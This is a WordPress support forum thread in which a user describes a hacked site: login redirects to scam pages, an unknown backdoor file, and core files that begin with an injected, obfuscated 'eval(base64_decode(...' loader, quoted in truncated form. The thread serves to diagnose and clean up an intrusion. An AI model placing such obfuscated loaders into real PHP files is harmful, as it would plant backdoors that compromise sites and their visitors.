Unformatted Dashboard. (6 posts)

    Hi guys,

    Today my dashboard has been totally unformatted. (I have a screenshot but I don't think there is the option to upload attachments here)

    This makes it extremely difficult to write a post. The homepage and single posts are displaying ok.

    I also noticed today that I get redirected when I attempt to access the login screen. It's some spyware removal product. Sometimes it sends me to bing.com searching for freevirusscan http://www.bing.com/search?q=freevirusscan&go=&form=QBRE&filt=all

    Maybe it's a coincidence but I doubt it.

    Any help would be greatly appreciated.

    Thanks very much,

    Thanks for that Alism.

    So I opened my FTP client to check my .htaccess file (which I think is fine) and I noticed there is a file called ivan_taste.php in there in the root.

    When I checked my local backups folder, that file wasn't there when I last copied the files and folders which was March 28.

    It says this changed was changed April 17th. Any ideas what this file is? I opened it in Dreamweaver and it just gobbledygook to me.

    its a php file put there by hackers, usually to allow them 'backdoor' access. Best to delete it asap

    Hi RVoodoo,

    Thanks so much for that. I deleted it.

    It seems most other files from admin-ajax.php down have all been changed on April 17th at the same time.

    When I open them, they all start the same as that ivan file

    "<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25...."

    and this continues for about 40 lines. Any advice.

    Should I reinstall all those WP files again?

    Thanks for your help!
